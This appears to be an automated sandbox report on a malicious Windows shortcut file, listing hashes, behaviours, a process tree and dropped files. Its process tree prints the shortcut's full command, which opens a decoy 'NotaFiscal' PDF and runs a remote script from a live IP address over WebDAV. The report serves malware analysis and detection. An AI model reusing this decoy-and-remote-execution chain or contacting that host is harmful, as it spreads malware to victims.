Analysis
-
max time kernel
147s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
13-04-2024 17:42
Static task
static1
Behavioral task
behavioral1
Sample
desktop-20a11ho.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
desktop-20a11ho.lnk
Resource
win10v2004-20240412-en
General
-
Target
desktop-20a11ho.lnk
-
Size
3KB
-
MD5
cd4f87e63be918ec6ef8d39082669834
-
SHA1
77a144bb45fff156050324b8318741bcae27d9f8
-
SHA256
a6d995d015c16985b456bcc5cd44377c3e5e5cf72b17771eadc51e1d02a3c6ef
-
SHA512
877e9c3d0157db9c73729f94155cf6481257d6f64dbe564678cc1e35f471b20434fa27ef901b3c1b103fd4d6b715e906fe641faba6c3e9709caf05175de0e1c2
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.execmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
AcroRd32.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AcroRd32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz AcroRd32.exe -
Processes:
AcroRd32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION AcroRd32.exe -
Modifies registry class 1 IoCs
Processes:
cmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: EnumeratesProcesses 20 IoCs
Processes:
AcroRd32.exepid process 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
AcroRd32.exepid process 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe 1564 AcroRd32.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exeAcroRd32.exeRdrCEF.exedescription pid process target process PID 564 wrote to memory of 3508 564 cmd.exe cmd.exe PID 564 wrote to memory of 3508 564 cmd.exe cmd.exe PID 3508 wrote to memory of 1564 3508 cmd.exe AcroRd32.exe PID 3508 wrote to memory of 1564 3508 cmd.exe AcroRd32.exe PID 3508 wrote to memory of 1564 3508 cmd.exe AcroRd32.exe PID 3508 wrote to memory of 3444 3508 cmd.exe cmd.exe PID 3508 wrote to memory of 3444 3508 cmd.exe cmd.exe PID 1564 wrote to memory of 2804 1564 AcroRd32.exe RdrCEF.exe PID 1564 wrote to memory of 2804 1564 AcroRd32.exe RdrCEF.exe PID 1564 wrote to memory of 2804 1564 AcroRd32.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 4476 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe PID 2804 wrote to memory of 2568 2804 RdrCEF.exe RdrCEF.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\desktop-20a11ho.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /min /c "echo Visualizacao indisponivel > C:\Users\Admin\downloads\NotaFiscal.pdf & start C:\Users\Admin\downloads\NotaFiscal.pdf & start /min cmd.exe /c "\\191.239.116.217@80\Documentos\files\a3.cmd""2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\NotaFiscal.pdf"3⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140434⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=DC7E47BEA262E57E7E88BC6CD2404CED --mojo-platform-channel-handle=1724 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7FDE63313414E30BF65F81AC023635EA --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7FDE63313414E30BF65F81AC023635EA --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:15⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=170C509F4B3B7D57909211AC51EDAF81 --mojo-platform-channel-handle=2160 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8F2391091E438FC75101CFDD7D49F8FB --mojo-platform-channel-handle=2316 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E0FA1AB2576452B913565388EC2C9E0F --mojo-platform-channel-handle=1812 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Windows\system32\cmd.execmd.exe /c "\\191.239.116.217@80\Documentos\files\a3.cmd"3⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessagesFilesize
64KB
MD5d9d974af49f48e4f5f8510319f05da68
SHA16dd55de3f75b5cfede2168ab0f9890ab1d7fded0
SHA2561b11911a6be32c8b00a77e7658ec8bb727b47659cde9a95978b664aacbc984dc
SHA512e11da0740b727158ea99540ea41889bf78a9c0420529e5c6f4c1c1dc021dbe437b21544bcf971cfab2088153bedbdd7fc260dd228de5784c37121d8271937695
-
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessagesFilesize
36KB
MD5b30d3becc8731792523d599d949e63f5
SHA119350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
-
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessagesFilesize
56KB
MD5752a1f26b18748311b691c7d8fc20633
SHA1c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
-
C:\Users\Admin\Downloads\NotaFiscal.pdfFilesize
29B
MD5823a9caa296579d6a40cd5195d969727
SHA15592813787ecff9133229439498d624339c07ece
SHA25660b827294f341e5f200c6512b976cac056a592ac1abdd932af8abff314b7bb0e
SHA51277ec77b000d5d230071a101954968f585ceed9e589652af38411d14b594a7432b610ef9c8b7d1c9256a5e6fe5eeda53d017a4c6d840c987b884b9cca17d7e0bc